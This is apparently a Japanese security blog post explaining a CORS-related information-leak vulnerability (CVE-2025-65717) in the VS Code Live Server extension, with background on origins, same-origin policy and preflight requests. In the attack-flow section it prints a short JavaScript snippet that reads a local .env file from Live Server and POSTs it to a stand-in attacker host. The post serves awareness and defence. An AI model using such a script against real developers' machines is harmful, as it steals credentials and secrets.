はじめに
VS Codeの拡張機能「Live Server」の情報漏洩の脆弱性(CVE-2025-65717)が明らかになりました。
Web開発をする方なら、定番な拡張機能で、私も使用経験があります。
注意喚起も含めて、本脆弱性の概要および前提知識について整理していきます。
1.Live Serverとは?
VS Codeの拡張機能の一つで1億回以上インストールされています。
ローカルでHTTPサーバを起動するため、Web開発で広く利用されています。
デフォルトで http://127.0.0.1:5500 で起動します。
2.脆弱性の概要
本脆弱性はhttpサーバ起動時のCORSの設定が不適切であることが原因です。
これにより悪意のあるリンクをクリックすると、プロジェクトディレクトリに保存している機密情報が外部に流出する恐れがあります。
なお、影響対象は最新版5.7.9(2022年8月リリース)を含む全バージョンとなります。
CVSSスコアは以下の通りです。
OX Security:9.1(Critical)
CISA:4.3(Medium)
3.前提知識:CORS
本脆弱性を理解するにあたって、CORSの理解が不可欠です。
端的に説明すると、CORSとは、同一オリジンポリシーによる制限を、リソースを読み込まれる側のサーバ側が明示的に許可することで緩和する仕組みです。
この仕組みを理解するために、まず「オリジン」と「同一オリジンポリシー」という用語理解が必要です。
3-1. オリジンとは
オリジンとは以下の要素の組み合わせです。
- プロトコル
- ドメイン
- ポート番号
そのため、3つがすべて一致して初めて「同一オリジン」となり、
1つでも異なれば「別オリジン(クロスオリジン)」となります。
例:
‘https://example.com‘
- https://example.com/other → ✅ 同一(パスが違うだけ)
- http://example.com → ❌ 別(プロトコルが違う)
- https://api.example.com → ❌ 別(ドメインが違う)
- https://example.com:8080 → ❌ 別(ポートが違う)
3-2. 同一オリジンポリシー(Same-Origin Policy)
同一オリジンポリシーとは、ブラウザに組み込まれたセキュリティの仕組みであり、あるオリジンから読み込まれたスクリプトは、別のオリジンのリソースを読み取れないという仕組みです。
これがないと以下のようなシナリオで機密情報が流出する恐れがあります。
シナリオ
①銀行サイトログイン中、悪意のあるサイトにアクセス
※以下のようなスクリプトを想定
- fetch(‘https://bank.example.com/account/balance’)で残高参照
- レスポンスを変数に格納し、悪意のあるサイトにPOSTする
②ブラウザで上記スクリプトが実行される
③銀行サーバからすると、すでにログイン済(Cookieで判断)なので、レスポンスに残高を返す。
④ブラウザがレスポンスを悪意のあるサイトにPOSTする
同一オリジンポリシーは、このレスポンスの読み取りを制限します
注意点として、同一オリジンポリシーが制限するのは「レスポンスの読み取り」であって「リクエストの送信」ではありません。
ただし、プリフライトリクエストが発生する場合はリソースを読み取られるサーバへのリクエストそのものが止まります。
※プリフライトリクエストについては後続で解説
3-3. CORSの仕組み ― サーバが許可を出す
3-2で説明した通り、ブラウザは異なるオリジン間でのリソース読み取りを制限します。しかし、それでは困る場合があります。
例:フロントエンド(https://app.example.com)からAPI(https://api.example.com)にアクセスする場合
これを解決するのがCORSです。
具体的なシナリオは以下の通りです。
登場人物:
フロントエンド (https://app.example.com) — Reactなどで作ったWebアプリ
APIサーバ (https://api.example.com) — バックエンドのデータを返すサーバ
ブラウザ — 開発者のブラウザ
①Webアプリへのリクエスト
ユーザーが https://app.example.com にアクセスし、画面が表示される。
ページ内のJSが読み込まれる。
②APIサーバのリクエスト
スクリプトがデータを取得するために https://api.example.com/users にfetchする。
ブラウザは自動的に Origin: https://app.example.com を付けて送信する。
③APIサーバのレスポンス
APIサーバは、レスポンスに以下のヘッダを付けて返す:
Access-Control-Allow-Origin: https://app.example.com
④CORSの比較
ブラウザがレスポンスを受け取り、比較する:
リクエスト元のOrigin → https://app.example.com
レスポンスの Access-Control-Allow-Origin → https://app.example.com
⑤データの表示
一致するので、スクリプトへのレスポンスの読み取りを許可する。アプリは正常にデータを表示できる。
主要なCORSヘッダの紹介:
- Access-Control-Allow-Origin:アクセスを許可するオリジン
- Access-Control-Allow-Methods:許可するHTTPメソッド
- Access-Control-Allow-Headers:許可するリクエストヘッダ
- Access-Control-Allow-Credentials:Cookie等の認証情報の送信を許可するか
3-4. CORSの設定
CORSは、リソースを読み込まれるサーバ側で設定されます。
主要なCORSヘッダで今回着目すべきはAccess-Control-Allow-Originです。
- ❌ 危険:Access-Control-Allow-Origin: *(すべてのオリジンを許可)
- ✅ 安全:Access-Control-Allow-Origin: https://app.example.com(特定のオリジンのみ許可)
3-5. プリフライトリクエスト
CORSにはプリフライトリクエストという仕組みがあります。
これはブラウザがリソースを読み込まれるサーバにリクエストを送る前に、OPTIONメソッドで「このリクエストを送っていいですか?」と確認する仕組みです。
プリフライトリクエストの有無を以下に整理します。
【シンプルリクエスト(プリフライトなし)の場合】
- 単純なGETリクエストなど
- リクエスト自体はサーバに送信される
- サーバ側では処理が実行される
- レスポンスの読み取りをブラウザがブロックする
【プリフライトが必要なリクエストの場合】
- カスタムヘッダ付きリクエスト、PUT・DELETEメソッドなど
- まずOPTIONSメソッドでプリフライトリクエストが送られる
- サーバが許可した場合 → 本リクエストが送信される
- サーバが許可しなかった場合 → 本リクエストは送信されない
- シンプルリクエストとの違い:リクエスト送信そのものが止まる
今回の脆弱性はシンプルなリクエストで成立するため、プリフライトリクエストは発生しません。
4.本脆弱性で機密情報流出の仕組み
4-1. 登場人物
では前提知識の整理が終わったので、本章で今回の脆弱性の仕組みを説明します。
| 登場人物 | 役割 | 場所 |
|---|---|---|
| 攻撃者のWebサーバ | 悪意あるHTMLページを配信する | インターネット上(evil.example.com) |
| 開発者のブラウザ | HTMLを読み込み、スクリプトを実行する | 開発者のPC上 |
| Live Server | ローカルファイルをHTTPで配信する | 開発者のPC上 |
ちなみによく「悪意のあるサイトが〇〇にリクエストを送る」という文言を目にしますが、実際にリクエストを送信しているのは開発者のブラウザとなります。初めて上記文面を見たとき混乱した経験があるので、補足です。
4-2. 攻撃の流れ
【ステップ1:HTMLの配信 】
悪意のあるサイトがJavaScriptを仕込んだHTMLファイルを配信します。
例:メールやSNSなどでリンクを送信する
【ステップ2:スクリプトの実行①:リクエスト】
開発者がリンクをクリックし、ブラウザがスクリプトを実行し、Live serverにリクエストを送信します。
以下のようなスクリプトだと仮定します。
async function steal() {
const response = await fetch('http://127.0.0.1:5500/.env');
const data = await response.text();
await fetch('https://evil.example.com/collect', {
method: 'POST',
body: data
});
}
steal();
スクリプトの流れとしては以下となります。
①機密情報をリクエスト(‘http://127.0.0.1:5500/.env‘)
②機密情報を変数「data」に格納し、(’https://evil.example.com/collect’)にPOST
【ステップ3:Live Serverからの応答】
Live serverがレスポンスを返します。この時レスポンスヘッダは以下の内容が含まれている可能性が高いです。
Access-Control-Allow-Origin: *
【ステップ4:スクリプトの実行②:レスポンスの読み取り】
ブラウザがLive serverからのレスポンスの読み取ります。
本来CORSが正常に設定されていれば、レスポンスの読み取り時にエラーが出力されます。
【ステップ5:スクリプトの実行③:悪意のあるサイトにPOST】
ブラウザが攻撃者のサーバにデータを送信します。
このようにわずか数行のコードで機密情報の流出が起きてしまいます。
5.まとめ
Live Serverは便利でかつ広く使用されているツールです。
「インストール数が多い=安全」という考えは徐々に見直していく必要があるかもしれません。
今後とのセキュリティのアップデートを続け、より安全な開発を心がけたいです。
6.参考情報
https://www.security-next.com/181218


